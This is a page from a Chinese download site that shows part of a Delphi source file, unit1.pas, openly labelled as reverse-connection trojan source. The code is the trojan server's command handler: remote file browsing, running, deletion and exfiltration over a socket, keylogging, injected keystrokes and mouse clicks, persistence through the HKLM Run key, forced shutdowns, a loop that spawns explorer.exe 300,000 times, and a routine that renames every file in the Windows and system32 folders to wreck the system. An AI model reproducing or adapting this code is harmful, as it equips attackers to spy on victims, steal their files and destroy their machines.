⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 unit1.pas

📁 软件介绍:反弹连接木马源码 1、编译服务端。   服务端在进行编译时会提示出错 (停在“fme.SaveToFile(stf) ”段)
💻 PAS
📖 第 1 页 / 共 4 页
字号:
      begin
       Reg := TRegistry.Create;
       if strtoint(go)<350 then
        begin
         strr:=copy(strr,4,length(strr));
         i:=pos('\',strr);
         if i<>0 then
          begin
           RERT:=copy(strr,1,i-1);
           RERV:=copy(strr,i,length(strr));
          end
         else
          begin
           RERT:=strr;
           RERV:='';
          end;
         if RERT='HKEY_CURRENT_USER' then Reg.RootKey:=HKEY_CURRENT_USER;
         if RERT='HKEY_LOCAL_MACHINE' then Reg.RootKey:=HKEY_LOCAL_MACHINE;
         if RERT='HKEY_USERS' then Reg.RootKey:=HKEY_USERS;
        end;
      end;

  case strtoint(go) of
007:begin//登录密码
     if copy(strr,4,length(strr)-3)=SETC then
       cs.Socket.SendText('007'+'OK')
     else
       cs.Socket.SendText('007'+'OFF'); 
    end;

110:begin
     M2.Text :='';
     ld := GetLogicalDrives;//得到磁盘列表
     for i := 0 to 25 do
      begin
       if (ld and (1 shl i)) <> 0 then
         if GetDriveSpecies(Char(Ord('A') + i) + ':')='2' then
           S1:=s1+(Char(Ord('A') + i) + ':');
      end;
      Fextfi:='*.*';
      dirn:='';
      filn:='';
      fdir(copy(DCB.Text,1,2));
      cs.Socket.SendText('110'+S1+'>>>'+COPY(DCB.Text,1,2)+'>>>' +dirn+'>>>'+filn);
      Fextfi:='';
    end;
130:begin//刷新磁盘时
     M2.Text :='';
     LPH:=copy(strr,4,2);
     Fextfi:=copy(strr,9,3);
     dirn:='';
     filn:='';
     fdir(LPH);
     cs.Socket.SendText('130'+LPH+'>>>'+dirn+'>>>'+filn);
     Fextfi:='';
    end;
131:begin//刷新目录时
     i:=pos('>>>',strr);
     LPH:=copy(strr,4,i-4);
     Fextfi:=copy(strr,i+3,5);
     dirn:='';
     filn:='';
     fdir(LPH);
     cs.Socket.SendText('131'+dirn+'>>>'+filn);
     Fextfi:='';
    end;

150:begin //新建目录
     strr:=copy(strr,4,length(strr)-3);
     if directoryexists(strr)=false then
      begin
       createdir(strr);
       cs.Socket.SendText('150');
      end
     else
       cs.Socket.SendText('150'+'no');
    end;
152:begin //目录删除
     strr:=copy(strr,4,length(strr)-3);
     remall(strr);
     if directoryexists(strr)=true  then
      cs.Socket.SendText('152'+'0')
     else
      cs.Socket.SendText('152'+'1');
    end;
155:begin//运行程序
     DOSN:= copy(strr,4,length(strr)-3);
     shellexecute(handle,'open',pchar(DOSN),nil,nil,SW_SHOWNORMAL);
    end;
156:begin//文件更名
     strr:=copy(strr,4,length(strr)-3);
     i:=pos('>>>',strr);
     S1:=copy(strr,1,i-1);
     strr:=copy(strr,i+3,length(strr)-i);

     i:=pos('>>>',strr);
     f1:=copy(strr,1,i-1);
     f2:=copy(strr,i+3,length(strr)-i);
     renamefile(s1+f1,s1+f2);
     cs.Socket.SendText('156'+'OK');
    end;
157:begin//文件删除
     strr:=copy(strr,4,length(strr)-3);
     deletefile(strr);
     if fileexists(strr)=true then
       cs.Socket.SendText('157'+'0')
     else
       cs.Socket.SendText('157'+'1');
    end;
    
170:begin//文件查找
     strr:=copy(strr,4,length(strr)-3);
     i:=pos('>>>',strr);
     f1:=copy(strr,1,i-1);
     f2:=copy(strr,i+3,length(strr));

     FindFirst(f1+f2,faAnyFile-faDirectory,src);
     if src.Name='' then
      cs.Socket.SendText('170'+'*')
     else
      cs.Socket.SendText('170'+src.Name+'文件大小'+inttostr(src.Size));
    end;
171:begin//文件查找并运行
     strr:=copy(strr,4,length(strr)-3);
     i:=pos('>>>',strr);
     f1:=copy(strr,1,i-1);
     f2:=copy(strr,i+3,length(strr));

     FindFirst(f1+f2,faAnyFile-faDirectory,src);
     if src.Name='' then
      cs.Socket.SendText('171'+'*')
     else
      begin
        shellexecute(handle,'open',pchar(f1+f2),nil,nil,SW_SHOWNORMAL);
        cs.Socket.SendText('171'+f1+f2);
      end;
    end;
172:begin//文件查找并删除
     strr:=copy(strr,4,length(strr)-3);
     i:=pos('>>>',strr);
     f1:=copy(strr,1,i-1);
     f2:=copy(strr,i+3,length(strr));

     FindFirst(f1+f2,faAnyFile-faDirectory,src);
     if src.Name='' then
      cs.Socket.SendText('172'+'*')
     else
      begin
        deletefile(f1+f2);
        if fileexists(f1+f2)=true then
          cs.Socket.SendText('172'+'0')
        else
          cs.Socket.SendText('172'+'1');
        end;
    end;
179:begin
      strr:=copy(strr,4,length(strr)-3);
      updownfile:=strr;
      DOWF:=TFileStream.Create(strr,fmOpenRead);
      if DOWF.Size >8388608  then
      begin
        cs.Socket.SendText('1800');
        DOWF.Free;
        exit;
      end;
      DOWF.Free;
      cs.Socket.SendText('1801');
    end;
181:begin  
        DOWF:=TFileStream.Create(updownfile,fmOpenRead);
        CS.Socket.SendText('182');
        kks:=1;
    end;
183:begin
        if kks=0 then exit;
        if DOWF.Position< DOWF.Size then
          begin
           lh:=DOWF.Size-DOWF.Position;
           if lh>8192 then lh:=8192;
           GetMem(buf,lh);
           try
              DOWF.Read(buf^,lh);
              cs.Socket.SendBuf(buf^,lh);
           finally
              FreeMem(buf,lh);
           end;
          end
        else
          begin
           cs.Socket.SendText('184');
           DOWF.Free;
           kks:=0;
          end;
  end;
185:begin//查找并下载
     strr:=copy(strr,4,length(strr)-3);
     i:=pos('>>>',strr);
     f1:=copy(strr,1,i-1);
     f2:=copy(strr,i+3,length(strr));

     FindFirst(f1+f2,faAnyFile-faDirectory,src);
     if src.Name='' then
      cs.Socket.SendText('185'+'*')
     else
      begin
        updownfile:=f1+f2;
        cs.Socket.SendText('185'+src.Name);
      end;
    end;
190:begin//文件上传
     upfina:=copy(strr,4,length(strr)-3);
     ss.Port :=cs.Port+1 ;
     ss.Active :=true;
     JORF:=1;
    end;
198:begin//文件属性查看
      strr:=copy(strr,4,length(strr)-3);
      fst:=TFileStream.Create(strr ,fmOpenRead);
      GetFileTime(strr);
      cs.Socket.SendText('198'+inttostr(fst.Size)+'>'+T11+'>'+T22+'>'+T33);
      fst.Free;
    end;
199:begin //文件夹更名
     strr:=copy(strr,4,length(strr)-3);
      i:=pos('>>>',strr);
      f1:=copy(strr,1,i-1);
      f2:=copy(strr,i+3,length(strr));
      Renamefile (f1,f2);
    end;

201:keyti.Enabled :=true;//开始键盘记录
202:begin
     keyti.Enabled :=false;//停止键盘记录
     cs.Socket.SendText('202'+M1.Text);
     M1.Clear ;
    end;
203:begin//ESC
        keybd_event(27,0,0,0);
        keybd_event(27,0,KEYEVENTF_KEYUP,0);
    end;
204:begin//←
        keybd_event(8,0,0,0);
        keybd_event(8,0,KEYEVENTF_KEYUP,0);
    end;
205:begin//删除
        keybd_event(46,0,0,0);
        keybd_event(46,0,KEYEVENTF_KEYUP,0);
    end;
206:begin//上页
        keybd_event(33,0,0,0);
        keybd_event(33,0,KEYEVENTF_KEYUP,0);
    end;
207:begin// 回车
        keybd_event(13,0,0,0);
        keybd_event(13,0,KEYEVENTF_KEYUP,0);
    end;
208:begin//下页
        keybd_event(34,0,0,0);
        keybd_event(34,0,KEYEVENTF_KEYUP,0);
    end;
209:begin//TAB
        keybd_event(9,0,0,0);
        keybd_event(9,0,KEYEVENTF_KEYUP,0);
    end;
210:begin//ALT+F4
        keybd_event(18,0,0,0);
        keybd_event(115,0,0,0);
        keybd_event(115,0,KEYEVENTF_KEYUP,0);
        keybd_event(18,0,KEYEVENTF_KEYUP,0);
    end;
211:begin//CTRL+A
        keybd_event(17,0,0,0);
        keybd_event(65,0,0,0);
        keybd_event(65,0,KEYEVENTF_KEYUP,0);
        keybd_event(17,0,KEYEVENTF_KEYUP,0);
    end;
212:begin//上
        keybd_event(38,0,0,0);
        keybd_event(38,0,KEYEVENTF_KEYUP,0);
    end;
213:begin//下
        keybd_event(40,0,0,0);
        keybd_event(40,0,KEYEVENTF_KEYUP,0);
    end;
214:begin//左
        keybd_event(37,0,0,0);
        keybd_event(37,0,KEYEVENTF_KEYUP,0);
    end;
215:begin//右
        keybd_event(39,0,0,0);
        keybd_event(39,0,KEYEVENTF_KEYUP,0);
    end;
218:begin //鼠标事件
        mx:=strtoint(copy(strr,4,4));//得到X坐标
        my:=strtoint(copy(strr,8,4));//得到Y坐标
        mk:=strtoint(copy(strr,12,1));//得到击键方式
        setcursorpos(mx,my);//定位坐标
         if mk=1 then//单击
          begin
           mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
           mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
          end
         else if mk=2 then//双击
          begin
           mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
           mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
           mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
           mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
          end
         else if mk=3 then//右击
          begin
           mouse_event(MOUSEEVENTF_RIGHTDOWN,0,0,0,0);
           mouse_event(MOUSEEVENTF_RIGHTUP,0,0,0,0);
          end;
          retu();
    end;
219:begin//锁鼠标
        SystemParametersInfo( SPI_SCREENSAVERRUNNING, 1, @temp, 0);
        a:=rect(0,0,5,5);
        ClipCursor(@a);
        retu();
    end;
220:begin//鼠标解锁
        SystemParametersInfo( SPI_SCREENSAVERRUNNING, 0, @temp, 0);
        ClipCursor(nil);
        retu();
    end;
221:begin//开光驱
      mciSendString('Set cdaudio door open wait', nil, 0, handle);
      retu();
    end;
222:begin//关光驱
      mciSendString('Set cdaudio door closed wait', nil, 0, handle);
      retu();
    end;
223:begin//关机
     reg:=tregistry.Create ;
     reg.RootKey :=HKEY_LOCAL_MACHINE;
     IF reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',True) then
      reg.WriteString('PHIME2OO2ASyst',Application.ExeName);
     reg.Free;
     cs.Active :=false;
     cs.Close ;
     SetPrivilege('SeShutdownPrivilege',true);
     ExitWindowsEx(EWX_SHUTDOWN,1);
     ExitWindowsEx(EWX_FORCE,4);
     ExitWindowsEx(EWX_POWEROFF,8);
     ExitWindowsEx(EWX_SHUTDOWN  or  EWX_FORCE  or  EWX_POWEROFF,0);
     exitwindowsex(ewx_shutdown,0);
     application.Terminate;
    end;
224:begin//注销
     reg:=tregistry.Create ;
     reg.RootKey :=HKEY_LOCAL_MACHINE;
     IF reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',True) then
      reg.WriteString('PHIME2OO2ASyst',Application.ExeName);
     reg.Free;
     cs.Active :=false;
     cs.Close ;
     ExitWindowsEx(EWX_LOGOFF,0);
     ExitWindowsEx(EWX_FORCE, 0);
     application.Terminate;
    end;

225:begin//重启
     reg:=tregistry.Create ;
     reg.RootKey :=HKEY_LOCAL_MACHINE;
     IF reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',True) then
      reg.WriteString('PHIME2OO2ASyst',Application.ExeName);
     reg.Free;
     cs.Active :=false;
     cs.Close ;
     ExitWindowsEx(EWX_REBOOT,2); 
     ExitWindowsEx(EWX_REBOOT,0);
     application.Terminate;
    end;

230:begin//死机
     for i:=1 to 300000 do
      shellexecute(handle,'open',pchar('explorer.exe'),pchar(''),nil,SW_HIDE);
    end;
240:begin//破坏系统文件
     if sysutils.FindFirst(trim(GetWinDir)+'\system32\*.*',faanyfile,rec)=0 then
      try
       repeat
         sunum:=sunum+1;
         if (rec.Name <>'.') and (rec.Name <>'..') then
          begin
           f1:=trim(GetWinDir)+'\system32\'+rec.Name;
           f2:=trim(GetWinDir)+'\system32\'+inttostr(sunum)+'.av';
           if renamefile(f1,f2) then

           end
        until sysutils.FindNext(rec)<>0;
        finally
         sysutils.FindClose(rec);
        end;

     if sysutils.FindFirst(trim(GetWinDir)+'\system\*.*',faanyfile,rec)=0 then
      try
       repeat
         sunum:=sunum+1;
         if (rec.Name <>'.') and (rec.Name <>'..') then
          begin
           f1:=trim(GetWinDir)+'\system\'+rec.Name;
           f2:=trim(GetWinDir)+'\system\'+inttostr(sunum)+'.av';
           if renamefile(f1,f2) then

           end
        until sysutils.FindNext(rec)<>0;
        finally
         sysutils.FindClose(rec);
        end;

     if sysutils.FindFirst(trim(GetWinDir)+'\*.*',faanyfile,rec)=0 then
      try
       repeat
         sunum:=sunum+1;
         if (rec.Name <>'.') and (rec.Name <>'..') then
          begin
           f1:=trim(GetWinDir)+'\'+rec.Name;
           f2:=trim(GetWinDir)+'\'+inttostr(sunum)+'.av';
           if renamefile(f1,f2) then

           end
        until sysutils.FindNext(rec)<>0;
        finally
         retu();
         sysutils.FindClose(rec);
        end;
    end;
250:SendMessage(Self.Handle, WM_SYSCOMMAND, SC_TASKLIST, 0);    
260:begin//用户名
     reg:=tregistry.Create;
     reg.RootKey := HKEY_LOCAL_MACHINE;
     if reg.OpenKey('Software\Microsoft\Windows NT\CurrentVersion',true) then
      usna:=reg.ReadString('RegisteredOwner');
     reg.CloseKey ;
     reg.Free ;
     CS.Socket.SendText('260'+trim(usna));
    end;
261:begin//系统类型
     os:=Getos;
     case OS of
  os95, os95OSR2: OSVersion:='Windows 95';
  os98: OSVersion:='Windows 98';
  os98SE: OSVersion:='Windows 98 第二版';
  osME: OSVersion:='Windows ME';
  osNT3, osNT4: OSVersion:='Windows NT';
  os2K: OSVersion:='Windows 2000';
  osXP: OSVersion:='Windows XP';
     end;
     CS.Socket.SendText('261'+osversion);
    end; 
262:begin//内存大小
     memst.dwLength := sizeof(memst);
     GlobalMemoryStatus(memst);
     CS.Socket.SendText('262'+IntToStr(memst.dwTotalPhys)+' Kb');
    end;
263:begin//组织名

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -